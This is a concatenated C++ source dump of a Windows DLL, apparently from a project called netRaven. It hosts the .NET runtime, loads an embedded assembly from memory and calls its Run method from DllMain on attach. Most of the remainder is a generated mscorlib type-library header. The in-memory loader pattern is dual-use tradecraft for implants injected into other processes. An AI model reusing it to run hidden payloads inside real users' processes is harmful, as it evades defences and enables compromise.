        if (!pMeta_)
            return ver;

        IEnumUnknown* pRuntimes = nullptr;
        ICLRRuntimeInfo* pInfo = nullptr;
        ULONG fetched = 0;

        if (FAILED((hr = pMeta_->EnumerateInstalledRuntimes(&pRuntimes)))) {
            LOG_ERROR("Failed to enumerate installed runtimes!", hr);
            return ver;
        }

        while (SUCCEEDED((hr = pRuntimes->Next(1, (IUnknown**)&pInfo, &fetched))) && 0 != fetched) {
            wchar_t ver_string[clr_ver_reservation] = { 0 };
            DWORD ver_size = clr_ver_reservation;
            int c_min = 0, c_maj = 0, c_build = 0;
            if (FAILED((hr = pInfo->GetVersionString(ver_string, &ver_size)))) {
                LOG_ERROR("Failed to get version string!", hr);
                continue;
            }
            swscanf_s(ver_string, L"v%d.%d.%d", &c_maj, &c_min, &c_build);
            if (c_maj > g_maj) {
                g_maj = c_maj;
                g_min = c_min;
                g_build = c_build;
                ver = ver_string;
            }
            else if (c_maj == g_maj) {
                if (c_min > g_min || (c_min == g_min && c_build > g_build)) {
                    g_min = c_min;
                    g_build = c_build;
                    ver = ver_string;
                }
            }
        }

        return ver;
    }

    ClrDomain::ClrDomain()
    {
        HRESULT hr = S_OK;
        BOOL loadable = FALSE;
        LOG("Runtime initialization started...");

        if (FAILED((hr = CLRCreateInstance(CLSID_CLRMetaHost, IID_PPV_ARGS(pMeta_.GetAddressOf()))))) {
           LOG_ERROR("Failed to initialize metahost!", hr);
           //throw EXCEPT("Host initialization failed!");
        }

        auto clr_version = find_runtime();

        if (FAILED((hr = pMeta_->GetRuntime(clr_version.c_str(), IID_PPV_ARGS(pRuntime_.GetAddressOf()))))) {
           LOG_ERROR("Runtime initialization failed!", hr);
           //throw EXCEPT("Runtime init failed!");
        }

        if (FAILED((hr = pRuntime_->IsLoadable(&loadable)) || !loadable)) {
           LOG_ERROR("Runtime not loadable!", hr);
           //throw EXCEPT("Runtime not loadable!");
        }

        if (FAILED((hr = pRuntime_->GetInterface(CLSID_CorRuntimeHost, IID_PPV_ARGS(pHost_.GetAddressOf()))))) {
           LOG_ERROR("Failed to get runtime host!", hr);
           //throw EXCEPT("Unable to host application!");
        }

        if (FAILED((hr = pHost_->Start()))) {
           LOG_ERROR("Host failed to start!", hr);
           //throw EXCEPT("Host start failed!");
        }

        LOG("Initialization Complete!");
    }

    ClrDomain::~ClrDomain()
    {
        pHost_->Stop();
    }

    std::unique_ptr<ClrAssembly> ClrDomain::load(std::vector<uint8_t>& mod)
    {
        std::unique_ptr<ClrAssembly> clr;
        IUnknownPtr		        pDomainThunk = nullptr;
        mscorlib::_AppDomainPtr	pAppDomain = nullptr;
        mscorlib::_AssemblyPtr	pAsm = nullptr;
        HRESULT			        hr = S_OK;
        SAFEARRAY*		        pModContainer = nullptr;

        auto modSize = mod.size();
        if (modSize > ULONG_MAX) {
            LOG("Failed to load module, file size is too large!");
            return nullptr;
        }

        if (FAILED((hr = pHost_->GetDefaultDomain(&pDomainThunk)))) {
            LOG_ERROR("Failed to get default appdomain!", hr);
            return nullptr;
        }

        if (FAILED((hr = pDomainThunk->QueryInterface(IID_PPV_ARGS(&pAppDomain))))) {
            LOG_ERROR("Failed to get app domain interface from thunk!", hr);
            return nullptr;
        }

        if (nullptr == (pModContainer = SafeArrayCreateVector(VT_UI1, 0, static_cast<ULONG>(modSize)))) {
            LOG("Failed to allocate safe array vector!");
            return nullptr;
        }

        unsigned char* buf = nullptr;
        if (FAILED((hr = SafeArrayAccessData(pModContainer, reinterpret_cast<void**>(&buf))))) {
            LOG_ERROR("Failed to access safe array!", hr);
            return nullptr;
        }

        memcpy(buf, mod.data(), mod.size());
        SafeArrayUnaccessData(pModContainer);

        if (FAILED((hr = pAppDomain->Load_3(pModContainer, &pAsm)))) {
            LOG_ERROR("Failed to load assembly!", hr);
            return nullptr;
        }


        arr_.push_back(std::shared_ptr<SAFEARRAY>(pModContainer, [](auto p) { if (p) SafeArrayDestroy(p); }));
        clr = std::make_unique<ClrAssembly>(pAsm);

        return clr;
    }
    ClrClass::ClrClass(mscorlib::_TypePtr pt, variant_t inst) : pType_(pt), instance_(inst)
    {
    }
}

================================================
FILE: client/netRaven/Raven/clr.hpp
================================================
#pragma once
/*
MIT License

Copyright (c) 2017 Aaron

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
#include <Windows.h>
#include <wrl.h>
#include <metahost.h>
#include <cstdint>
#include <vector>
#include <memory>
#include <array>

#pragma comment(lib, "mscoree.lib")

#import <mscorlib.tlb> raw_interfaces_only				\
    high_property_prefixes("_get","_put","_putref")		\
    rename("ReportEvent", "InteropServices_ReportEvent")

namespace clr {
    constexpr wchar_t clr_default_version[] = /*L"v2.0.50727"; */L"v4.0.30319";
    constexpr unsigned long clr_ver_reservation = 30;
    constexpr mscorlib::BindingFlags mem_fn_call = static_cast<mscorlib::BindingFlags>(mscorlib::BindingFlags_InvokeMethod | mscorlib::BindingFlags_Instance | mscorlib::BindingFlags_Public);
    constexpr mscorlib::BindingFlags static_fn_call = static_cast<mscorlib::BindingFlags>(mscorlib::BindingFlags_InvokeMethod | mscorlib::BindingFlags_Static | mscorlib::BindingFlags_Public);

    class ClrClass {
    private:
       mscorlib::_TypePtr pType_;
       variant_t instance_;

    public:
        ClrClass(mscorlib::_TypePtr pt, variant_t inst);

        template<typename... Args>
        variant_t invoke_method(const std::wstring& name, Args&&... args) {
            variant_t ret;
            HRESULT hr = S_OK;
            bstr_t fn_name(name.c_str());
            std::array<variant_t, sizeof...(args)> var_args{ variant_t(args)... };
            auto arglist = SafeArrayCreateVector(VT_VARIANT, 0, var_args.size());
            std::shared_ptr<SAFEARRAY> arglist_ptr(arglist, [](auto p) { if (p) SafeArrayDestroy(p); });
            for (auto i = 0; i < sizeof...(args); ++i) {
                LONG tmp = i;
                if (FAILED((hr = SafeArrayPutElement(arglist, &tmp, &var_args[i])))) {
                    throw std::runtime_error("Failed to add element to safe array!");
                }
            }
            if (FAILED((hr = pType_->InvokeMember_3(fn_name, mem_fn_call, nullptr, instance_, arglist, &ret)))) {
                throw std::runtime_error("Failed to invoke method!");
            }
            return ret;
        }
    };

    class ClrAssembly {
    private:
        mscorlib::_AssemblyPtr p_;
        SAFEARRAY* mod_;
    public:
        ClrAssembly(mscorlib::_AssemblyPtr p);
        mscorlib::_TypePtr find_type(const std::wstring& clsname);
        std::unique_ptr<ClrClass> construct(const std::wstring& classname);
        
        template<typename... Args>
        variant_t invoke_static(const std::wstring& clsName, const std::wstring& methodName, Args&&... args) {
            variant_t ret;
            variant_t v_empty;
            HRESULT hr = S_OK;
            bstr_t fn_name(methodName.c_str());
            std::array<variant_t, sizeof...(args)> var_args{ variant_t(args)... };
            auto pType = find_type(clsName);
            if (nullptr == pType)
                throw std::runtime_error("Failed to find type!");
            auto arglist = SafeArrayCreateVector(VT_VARIANT, 0, var_args.size());
            std::shared_ptr<SAFEARRAY> arglist_ptr(arglist, [](auto p) { if (p) SafeArrayDestroy(p); });
            for (auto i = 0; i < sizeof...(args); ++i) {
                LONG tmp = i;
                if (FAILED((hr = SafeArrayPutElement(arglist, &tmp, &var_args[i])))) {
                    throw std::runtime_error("Failed to add element to safe array!");
                }
            }
            if (FAILED((hr = pType->InvokeMember_3(fn_name, static_fn_call, nullptr, v_empty, arglist, &ret)))) {
                throw std::runtime_error("Failed to invoke method!");
            }

            return ret;
        }
    };

    class ClrDomain {
    private:
        Microsoft::WRL::ComPtr<ICLRMetaHost>	pMeta_;
        Microsoft::WRL::ComPtr<ICLRRuntimeInfo> pRuntime_;
        Microsoft::WRL::ComPtr<ICorRuntimeHost> pHost_;
        std::vector<std::shared_ptr<SAFEARRAY>>	arr_;
        std::wstring find_runtime();
    public:
        ClrDomain();
        ~ClrDomain();
        std::unique_ptr<ClrAssembly> load(std::vector<uint8_t>& mod);
    };
}



================================================
FILE: client/netRaven/Raven/dllmain.cpp
================================================
// dllmain.cpp : Defines the entry point for the DLL application.
#include "stdafx.h"
#include "clr.hpp"
#include "netRaven_dll.hpp"

void LoadAndRun(LPVOID lpParam)
{
	clr::ClrDomain domain;
	std::vector<uint8_t> vec(netraven_dll, netraven_dll + NETRAVEN_dll_len);
	//Load the assembly into the app domain
	auto res = domain.load(vec);

	if (!res) {
		exit(0);
	}

	//Call the public static Execute method for the selected module
	res->invoke_static(L"netRaven.Core", L"Run", L"");
}

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
					 )
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
	case DLL_THREAD_ATTACH:
		LoadAndRun(NULL);
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}



================================================
FILE: client/netRaven/Raven/mscorlib.tlh
================================================
// Created by Microsoft (R) C/C++ Compiler Version 14.00.24215.1 (b77ecd61).
//
// c:\users\dso\desktop\remoterecon\native\x64\release\mscorlib.tlh
//
// C++ source equivalent of Win32 type library mscorlib.tlb
// compiler-generated file created 07/30/18 at 01:02:57 - DO NOT EDIT!

#pragma once
#pragma pack(push, 8)

#include <comdef.h>

namespace mscorlib {

//
// Forward references and typedefs
//

struct __declspec(uuid("bed7f4ea-1a96-11d2-8f08-00a0c9a6186d"))
/* LIBID */ __mscorlib;
struct /* coclass */ Object;
struct __declspec(uuid("d0eeaa62-3d30-3ee2-b896-a2f34dda47d8"))
/* dual interface */ ISerializable;
struct __declspec(uuid("b36b5c63-42ef-38bc-a07e-0b34c98f164a"))
/* dual interface */ _Exception;
struct /* coclass */ Exception;
struct /* coclass */ ValueType;
struct __declspec(uuid("deb0e770-91fd-3cf6-9a6c-e6a3656f3965"))
/* dual interface */ IComparable;
struct __declspec(uuid("9a604ee7-e630-3ded-9444-baae247075ab"))
/* dual interface */ IFormattable;
struct __declspec(uuid("805e3b62-b5e9-393d-8941-377d8bf4556b"))
/* dual interface */ IConvertible;
struct /* coclass */ Enum;
struct __declspec(uuid("0cb251a7-3ab3-3b5c-a0b8-9ddf88824b85"))
/* dual interface */ ICloneable;
struct /* coclass */ Delegate;
struct /* coclass */ MulticastDelegate;
struct __declspec(uuid("496b0abe-cdee-11d3-88e8-00902754c43a"))
/* dual interface */ IEnumerable;
struct __declspec(uuid("de8db6f8-d101-3a92-8d1c-e72e5f10e992"))
/* dual interface */ ICollection;
struct __declspec(uuid("7bcfa00f-f764-3113-9140-3bbd127a96bb"))
/* dual interface */ IList;
struct /* coclass */ Array;
struct __declspec(uuid("496b0abf-cdee-11d3-88e8-00902754c43a"))
/* dual interface */ IEnumerator;
struct __declspec(uuid("805d7a98-d4af-3f0f-967f-e5cf45312d2c"))
/* dual interface */ IDisposable;
struct /* coclass */ String;
struct __declspec(uuid("c20fd3eb-7022-3d14-8477-760fab54e50d"))
/* dual interface */ IComparer;
struct __declspec(uuid("aab7c6ea-cab0-3adb-82aa-cf32e29af238"))
/* dual interface */ IEqualityComparer;
struct /* coclass */ StringComparer;
enum StringComparison;
struct /* coclass */ StringBuilder;
enum DateTimeKind;
struct __declspec(uuid("ab3f47e4-c227-3b05-bf9f-94649bef9888"))
/* dual interface */ IDeserializationCallback;
struct /* coclass */ SystemException;
struct /* coclass */ OutOfMemoryException;
struct /* coclass */ StackOverflowException;
struct /* coclass */ DataMisalignedException;
struct /* coclass */ ExecutionEngineException;
struct /* coclass */ MemberAccessException;
struct __declspec(uuid("03973551-57a1-3900-a2b5-9083e3ff2943"))
/* interface */ _Activator;
struct /* coclass */ Activator;
struct /* coclass */ AccessViolationException;
struct /* coclass */ ApplicationActivator;
struct /* coclass */ ApplicationException;
struct /* coclass */ EventArgs;
struct /* coclass */ ResolveEventArgs;
struct /* coclass */ AssemblyLoadEventArgs;
struct /* coclass */ ResolveEventHandler;
struct /* coclass */ AssemblyLoadEventHandler;
struct /* coclass */ AppDomainInitializer;
struct /* coclass */ MarshalByRefObject;
struct __declspec(uuid("05f696dc-2b29-3663-ad8b-c4389cf2a713"))
/* interface */ _AppDomain;
struct __declspec(uuid("35a8f3ac-fe28-360f-a0c0-9a4d50c4682a"))
/* dual interface */ IEvidenceFactory;
struct /* coclass */ AppDomain;
struct /* coclass */ CrossAppDomainDelegate;
enum AppDomainManagerInitializationOptions;
struct /* coclass */ AppDomainManager;
struct __declspec(uuid("27fff232-a7a8-40dd-8d4a-734ad59fcd41"))
/* interface */ IAppDomainSetup;
struct /* coclass */ AppDomainSetup;
enum LoaderOptimization;
struct __declspec(uuid("917b14d0-2d9e-38b8-92a9-381acf52f7c0"))
/* interface */ _Attribute;
struct /* coclass */ Attribute;
struct /* coclass */ LoaderOptimizationAttribute;
struct /* coclass */ AppDomainUnloadedException;
struct /* coclass */ EvidenceBase;
struct /* coclass */ ActivationArguments;
struct /* coclass */ ApplicationId;
struct /* coclass */ ArgumentException;
struct /* coclass */ ArgumentNullException;
struct /* coclass */ ArgumentOutOfRangeException;
struct /* coclass */ ArithmeticException;
struct /* coclass */ ArrayTypeMismatchException;
struct /* coclass */ AsyncCallback;
enum AttributeTargets;
struct /* coclass */ AttributeUsageAttribute;
struct /* coclass */ BadImageFormatException;
struct Boolean;
struct /* coclass */ Buffer;
struct Byte;
struct /* coclass */ CannotUnloadAppDomainException;
struct Char;
struct /* coclass */ CharEnumerator;
struct /* coclass */ CLSCompliantAttribute;
struct /* coclass */ TypeUnloadedException;
struct __declspec(uuid("c281c7f1-4aa9-3517-961a-463cfed57e75"))
/* interface */ _Thread;
struct /* coclass */ CriticalFinalizerObject;
struct /* coclass */ ContextMarshalException;
struct /* coclass */ ContextBoundObject;
struct /* coclass */ ContextStaticAttribute;
struct /* coclass */ TimeZone;
enum DayOfWeek;
struct /* coclass */ DBNull;
struct Decimal;
struct /* coclass */ Binder;
struct __declspec(uuid("6e70ed5f-0439-38ce-83bb-860f1421f29f"))
/* dual interface */ IObjectReference;
struct /* coclass */ DivideByZeroException;
struct Double;
struct /* coclass */ DuplicateWaitObjectException;
struct /* coclass */ TypeLoadException;
struct /* coclass */ EntryPointNotFoundException;
struct /* coclass */ DllNotFoundException;
enum EnvironmentVariableTarget;
struct /* coclass */ Environment;
struct /* coclass */ EventHandler;
struct /* coclass */ FieldAccessException;
struct /* coclass */ FlagsAttribute;
struct /* coclass */ FormatException;
struct Guid;
struct __declspec(uuid("11ab34e7-0176-3c9e-9efe-197858400a3d"))
/* dual interface */ IAsyncResult;
struct __declspec(uuid("2b130940-ca5e-3406-8385-e259e68ab039"))
/* dual interface */ ICustomFormatter;
struct __declspec(uuid("c8cb1ded-2814-396a-9cc0-473ca49779cc"))
/* dual interface */ IFormatProvider;
struct /* coclass */ IndexOutOfRangeException;
struct Int16;
struct Int32;
struct Int64;
struct IntPtr;
struct /* coclass */ InvalidCastException;
struct /* coclass */ InvalidOperationException;
struct /* coclass */ InvalidProgramException;
struct /* coclass */ LocalDataStoreSlot;
struct /* coclass */ MethodAccessException;
enum MidpointRounding;
struct /* coclass */ MissingMemberException;
struct /* coclass */ MissingFieldException;
struct /* coclass */ MissingMethodException;
struct /* coclass */ MulticastNotSupportedException;
struct /* coclass */ NonSerializedAttribute;
struct /* coclass */ NotFiniteNumberException;
struct /* coclass */ NotImplementedException;
struct /* coclass */ NotSupportedException;
struct /* coclass */ NullReferenceException;
struct /* coclass */ ObjectDisposedException;
struct /* coclass */ ObsoleteAttribute;
struct /* coclass */ OperatingSystem;
struct /* coclass */ OperationCanceledException;
struct /* coclass */ OverflowException;
struct /* coclass */ ParamArrayAttribute;
enum PlatformID;
struct /* coclass */ PlatformNotSupportedException;
struct /* coclass */ Random;
struct /* coclass */ RankException;
struct __declspec(uuid("b9b91146-d6c2-3a62-8159-c2d1794cdeb0"))
/* dual interface */ ICustomAttributeProvider;
struct __declspec(uuid("f7102fa9-cabb-3a74-a6da-b4567ef1b079"))
/* interface */ _MemberInfo;
struct /* coclass */ MemberInfo;
struct __declspec(uuid("bca8b44d-aad6-3a86-8ab7-03349f4f2da2"))
/* interface */ _Type;
struct __declspec(uuid("afbf15e5-c37c-11d2-b88e-00a0c9b471b8"))
/* dual interface */ IReflect;
struct /* coclass */ Type;
struct /* coclass */ TypeInfo;
struct RuntimeArgumentHandle;
struct RuntimeTypeHandle;
struct RuntimeMethodHandle;
struct RuntimeFieldHandle;
struct ModuleHandle;
struct SByte;
struct /* coclass */ SerializableAttribute;
struct Single;
struct /* coclass */ STAThreadAttribute;
struct /* coclass */ MTAThreadAttribute;
struct /* coclass */ TimeoutException;
struct TimeSpan;
enum TypeCode;
struct TypedReference;
struct /* coclass */ TypeInitializationException;
struct UInt16;
struct UInt32;
struct UInt64;
struct UIntPtr;
struct /* coclass */ UnauthorizedAccessException;
struct /* coclass */ UnhandledExceptionEventArgs;
struct /* coclass */ UnhandledExceptionEventHandler;
struct /* coclass */ Version;
struct Void;
struct /* coclass */ WeakReference;
struct /* coclass */ WaitHandle;
struct /* coclass */ EventWaitHandle;
struct /* coclass */ AutoResetEvent;
struct /* coclass */ ContextCallback;
struct __declspec(uuid("c460e2b4-e199-412a-8456-84dc3e4838c3"))
/* interface */ IObjectHandle;
struct LockCookie;
struct /* coclass */ ManualResetEvent;
struct /* coclass */ Monitor;
struct /* coclass */ Mutex;
struct NativeOverlapped;
struct /* coclass */ Overlapped;
struct /* coclass */ ReaderWriterLock;
struct /* coclass */ SynchronizationLockException;
struct /* coclass */ Thread;
struct /* coclass */ ThreadAbortException;
struct /* coclass */ ThreadInterruptedException;
struct /* coclass */ RegisteredWaitHandle;
struct /* coclass */ WaitCallback;
struct /* coclass */ WaitOrTimerCallback;
struct /* coclass */ IOCompletionCallback;
enum ThreadPriority;
struct /* coclass */ ThreadStart;
enum ThreadState;
struct /* coclass */ ThreadStateException;
struct /* coclass */ ThreadStaticAttribute;
struct /* coclass */ Timeout;
struct /* coclass */ TimerCallback;
struct /* coclass */ Timer;
enum ApartmentState;
struct /* coclass */ CaseInsensitiveComparer;
struct __declspec(uuid("5d573036-3435-3c5a-aeff-2b8191082c71"))
/* dual interface */ IHashCodeProvider;
struct /* coclass */ CaseInsensitiveHashCodeProvider;
struct /* coclass */ CollectionBase;
struct __declspec(uuid("6a6841df-3287-3d87-8060-ce0b4c77d2a1"))
/* dual interface */ IDictionary;
struct /* coclass */ DictionaryBase;
struct /* coclass */ ReadOnlyCollectionBase;
struct /* coclass */ Queue;
struct /* coclass */ ArrayList;
struct /* coclass */ BitArray;
struct /* coclass */ Stack;
struct /* coclass */ Comparer;
struct __declspec(uuid("35d574bf-7a4f-3588-8c19-12212a0fe4dc"))
/* dual interface */ IDictionaryEnumerator;
struct /* coclass */ Hashtable;
struct DictionaryEntry;
struct /* coclass */ SortedList;
struct /* coclass */ Nullable;
struct /* coclass */ KeyNotFoundException;
struct /* coclass */ ConditionalAttribute;
struct /* coclass */ Debugger;
struct /* coclass */ DebuggerStepThroughAttribute;
struct /* coclass */ DebuggerStepperBoundaryAttribute;
struct /* coclass */ DebuggerHiddenAttribute;
struct /* coclass */ DebuggerNonUserCodeAttribute;
struct /* coclass */ DebuggableAttribute;
enum DebuggerBrowsableState;
struct /* coclass */ DebuggerBrowsableAttribute;
struct /* coclass */ DebuggerTypeProxyAttribute;
struct /* coclass */ DebuggerDisplayAttribute;
struct /* coclass */ DebuggerVisualizerAttribute;
struct /* coclass */ StackTrace;
struct /* coclass */ StackFrame;
struct __declspec(uuid("20808adc-cc01-3f3a-8f09-ed12940fc212"))
/* dual interface */ ISymbolBinder;
struct __declspec(uuid("027c036a-4052-3821-85de-b53319df1211"))
/* dual interface */ ISymbolBinder1;
struct __declspec(uuid("1c32f012-2684-3efe-8d50-9c2973acc00b"))
/* dual interface */ ISymbolDocument;
struct __declspec(uuid("fa682f24-3a3c-390d-b8a2-96f1106f4b37"))
/* dual interface */ ISymbolDocumentWriter;
struct __declspec(uuid("25c72eb0-e437-3f17-946d-3b72a3acff37"))
/* dual interface */ ISymbolMethod;
struct __declspec(uuid("23ed2454-6899-3c28-bab7-6ec86683964a"))
/* dual interface */ ISymbolNamespace;
struct __declspec(uuid("e809a5f1-d3d7-3144-9bef-fe8ac0364699"))
/* dual interface */ ISymbolReader;
struct __declspec(uuid("1cee3a11-01ae-3244-a939-4972fc9703ef"))
/* dual interface */ ISymbolScope;
struct __declspec(uuid("4042bd4d-b5ab-30e8-919b-14910687baae"))
/* dual interface */ ISymbolVariable;
struct __declspec(uuid("da295a1b-c5bd-3b34-8acd-1d7d334ffb7f"))
/* dual interface */ ISymbolWriter;
enum SymAddressKind;
struct /* coclass */ SymDocumentType;
struct /* coclass */ SymLanguageType;
struct /* coclass */ SymLanguageVendor;
struct SymbolToken;
struct /* coclass */ AmbiguousMatchException;
struct /* coclass */ ModuleResolveEventHandler;
struct __declspec(uuid("17156360-2f1a-384a-bc52-fde93c215c5b"))
/* dual interface */ _Assembly;
struct /* coclass */ Assembly;
struct /* coclass */ AssemblyCopyrightAttribute;
struct /* coclass */ AssemblyTrademarkAttribute;
struct /* coclass */ AssemblyProductAttribute;
struct /* coclass */ AssemblyCompanyAttribute;
struct /* coclass */ AssemblyDescriptionAttribute;
struct /* coclass */ AssemblyTitleAttribute;
struct /* coclass */ AssemblyConfigurationAttribute;
struct /* coclass */ AssemblyDefaultAliasAttribute;
struct /* coclass */ AssemblyInformationalVersionAttribute;
struct /* coclass */ AssemblyFileVersionAttribute;
struct /* coclass */ AssemblyCultureAttribute;
struct /* coclass */ AssemblyVersionAttribute;
struct /* coclass */ AssemblyKeyFileAttribute;
struct /* coclass */ AssemblyDelaySignAttribute;
struct /* coclass */ AssemblyAlgorithmIdAttribute;
struct /* coclass */ AssemblyFlagsAttribute;
struct /* coclass */ AssemblyKeyNameAttribute;
struct __declspec(uuid("b42b6aac-317e-34d5-9fa9-093bb4160c50"))
/* interface */ _AssemblyName;
struct /* coclass */ AssemblyName;
struct /* coclass */ AssemblyNameProxy;
enum AssemblyNameFlags;
enum ProcessorArchitecture;
struct /* coclass */ CustomAttributeFormatException;
enum BindingFlags;
enum CallingConventions;
struct __declspec(uuid("6240837a-707f-3181-8e98-a36ae086766b"))
/* interface */ _MethodBase;
struct __declspec(uuid("ffcc1b5d-ecb8-38dd-9b01-3dc8abc2aa5f"))
/* interface */ _MethodInfo;
struct __declspec(uuid("e9a19478-9646-3679-9b10-8411ae1fd57d"))
/* interface */ _ConstructorInfo;
struct __declspec(uuid("8a7c1442-a9fb-366b-80d8-4939ffa6dbe0"))
/* interface */ _FieldInfo;
struct __declspec(uuid("f59ed4e4-e68f-3218-bd77-061aa82824bf"))
/* interface */ _PropertyInfo;
struct __declspec(uuid("9de59c64-d889-35a1-b897-587d74469e5b"))
/* interface */ _EventInfo;
struct __declspec(uuid("993634c4-e47a-32cc-be08-85f567dc27d6"))
/* interface */ _ParameterInfo;
struct __declspec(uuid("d002e9ba-d9e3-3749-b1d3-d565a08b13e7"))
/* interface */ _Module;
struct /* coclass */ MethodBase;
struct /* coclass */ ConstructorInfo;
struct /* coclass */ CustomAttributeData;
struct CustomAttributeNamedArgument;
struct CustomAttributeTypedArgument;
struct /* coclass */ DefaultMemberAttribute;
enum EventAttributes;
struct /* coclass */ EventInfo;
enum FieldAttributes;
struct /* coclass */ FieldInfo;
struct InterfaceMapping;
struct /* coclass */ InvalidFilterCriteriaException;
struct /* coclass */ ManifestResourceInfo;
enum ResourceLocation;
struct /* coclass */ MemberFilter;
enum MemberTypes;
enum MethodAttributes;
enum MethodImplAttributes;
struct /* coclass */ MethodInfo;
struct /* coclass */ Missing;
enum PortableExecutableKinds;
enum ImageFileMachine;
struct /* coclass */ Module;
struct /* coclass */ ObfuscateAssemblyAttribute;
struct /* coclass */ ObfuscationAttribute;
enum ExceptionHandlingClauseOptions;
struct /* coclass */ ExceptionHandlingClause;
struct /* coclass */ MethodBody;
struct /* coclass */ LocalVariableInfo;
enum ParameterAttributes;
struct /* coclass */ ParameterInfo;
struct ParameterModifier;
struct /* coclass */ Pointer;
enum PropertyAttributes;
struct /* coclass */ PropertyInfo;
struct /* coclass */ ReflectionTypeLoadException;
enum ResourceAttributes;
struct /* coclass */ StrongNameKeyPair;
struct /* coclass */ TargetException;
struct /* coclass */ TargetInvocationException;
struct /* coclass */ TargetParameterCountException;
enum TypeAttributes;
struct /* coclass */ TypeDelegator;
struct /* coclass */ TypeFilter;
struct __declspec(uuid("f4f5c303-fad3-3d0c-a4df-bb82b5ee308f"))
/* dual interface */ IFormatterConverter;
struct /* coclass */ FormatterConverter;
struct /* coclass */ FormatterServices;
struct __declspec(uuid("62339172-dbfa-337b-8ac8-053b241e06ab"))
/* dual interface */ ISerializationSurrogate;
struct __declspec(uuid("93d7a8c5-d2eb-319b-a374-a65d321f2aa9"))
/* dual interface */ IFormatter;
struct __declspec(uuid("7c66ff18-a1a5-3e19-857b-0e7b6a9e3f38"))
/* dual interface */ ISurrogateSelector;
struct /* coclass */ OptionalFieldAttribute;
struct /* coclass */ OnSerializingAttribute;
struct /* coclass */ OnSerializedAttribute;
struct /* coclass */ OnDeserializingAttribute;
struct /* coclass */ OnDeserializedAttribute;
struct /* coclass */ SerializationBinder;
struct /* coclass */ SerializationException;
struct /* coclass */ SerializationInfo;
struct SerializationEntry;
struct /* coclass */ SerializationInfoEnumerator;
struct StreamingContext;
enum StreamingContextStates;
struct /* coclass */ Formatter;
struct /* coclass */ ObjectIDGenerator;
struct /* coclass */ ObjectManager;
struct /* coclass */ SurrogateSelector;
struct /* coclass */ Calendar;
enum CalendarAlgorithmType;
enum CalendarWeekRule;
enum CompareOptions;
struct /* coclass */ CompareInfo;
struct /* coclass */ CultureInfo;
struct /* coclass */ CultureNotFoundException;
enum CultureTypes;
enum DateTimeStyles;
struct /* coclass */ DateTimeFormatInfo;
struct /* coclass */ DaylightTime;
enum DigitShapes;
struct /* coclass */ GregorianCalendar;
enum GregorianCalendarTypes;
struct /* coclass */ HebrewCalendar;
struct /* coclass */ HijriCalendar;
struct /* coclass */ EastAsianLunisolarCalendar;
struct /* coclass */ JulianCalendar;
struct /* coclass */ JapaneseCalendar;
struct /* coclass */ KoreanCalendar;
struct /* coclass */ RegionInfo;
struct /* coclass */ SortKey;
struct /* coclass */ StringInfo;
struct /* coclass */ TaiwanCalendar;
struct /* coclass */ TextElementEnumerator;
struct /* coclass */ TextInfo;
struct /* coclass */ ThaiBuddhistCalendar;
struct /* coclass */ NumberFormatInfo;
enum NumberStyles;
enum UnicodeCategory;
struct /* coclass */ Encoding;
struct /* coclass */ Encoder;
struct /* coclass */ Decoder;
struct /* coclass */ ASCIIEncoding;
enum NormalizationForm;
struct /* coclass */ UnicodeEncoding;
struct /* coclass */ UTF7Encoding;
struct /* coclass */ UTF8Encoding;
struct __declspec(uuid("8965a22f-fba8-36ad-8132-70bbd0da457d"))
/* dual interface */ IResourceReader;
struct __declspec(uuid("e97aa6e5-595e-31c3-82f0-688fb91954c6"))
/* dual interface */ IResourceWriter;
struct /* coclass */ MissingManifestResourceException;
struct /* coclass */ MissingSatelliteAssemblyException;
struct /* coclass */ NeutralResourcesLanguageAttribute;
struct /* coclass */ ResourceManager;
struct /* coclass */ ResourceReader;
struct /* coclass */ ResourceSet;
struct /* coclass */ ResourceWriter;
struct /* coclass */ SatelliteContractVersionAttribute;
enum UltimateResourceFallbackLocation;
struct /* coclass */ Registry;
enum RegistryHive;
struct /* coclass */ RegistryKey;
enum RegistryValueKind;
struct __declspec(uuid("fd46bde5-acdf-3ca5-b189-f0678387077f"))
/* dual interface */ ISecurityEncodable;
struct __declspec(uuid("e6c21ba7-21bb-34e9-8e57-db66d8ce4a70"))
/* dual interface */ ISecurityPolicyEncodable;
struct __declspec(uuid("6844eff4-4f86-3ca1-a1ea-aaf583a6395e"))
/* dual interface */ IMembershipCondition;
struct /* coclass */ AllMembershipCondition;
struct /* coclass */ ApplicationDirectory;
struct /* coclass */ ApplicationDirectoryMembershipCondition;
struct /* coclass */ ApplicationSecurityInfo;
struct /* coclass */ ApplicationSecurityManager;
enum ApplicationVersionMatch;
struct /* coclass */ ApplicationTrust;
struct /* coclass */ ApplicationTrustCollection;
struct /* coclass */ ApplicationTrustEnumerator;
struct /* coclass */ CodeGroup;
struct /* coclass */ Evidence;
struct /* coclass */ FileCodeGroup;
struct /* coclass */ FirstMatchCodeGroup;
struct __declspec(uuid("4e95244e-c6fc-3a86-8db7-1712454de3b6"))
/* dual interface */ IIdentityPermissionFactory;
struct __declspec(uuid("427e255d-af02-3b0d-8ce3-a2bb94ba300f"))
/* dual interface */ IApplicationTrustManager;
enum TrustManagerUIContext;
struct /* coclass */ TrustManagerContext;
struct /* coclass */ CodeConnectAccess;
struct /* coclass */ NetCodeGroup;
struct /* coclass */ PermissionRequestEvidence;
struct /* coclass */ PolicyException;
struct /* coclass */ PolicyLevel;
enum PolicyStatementAttribute;
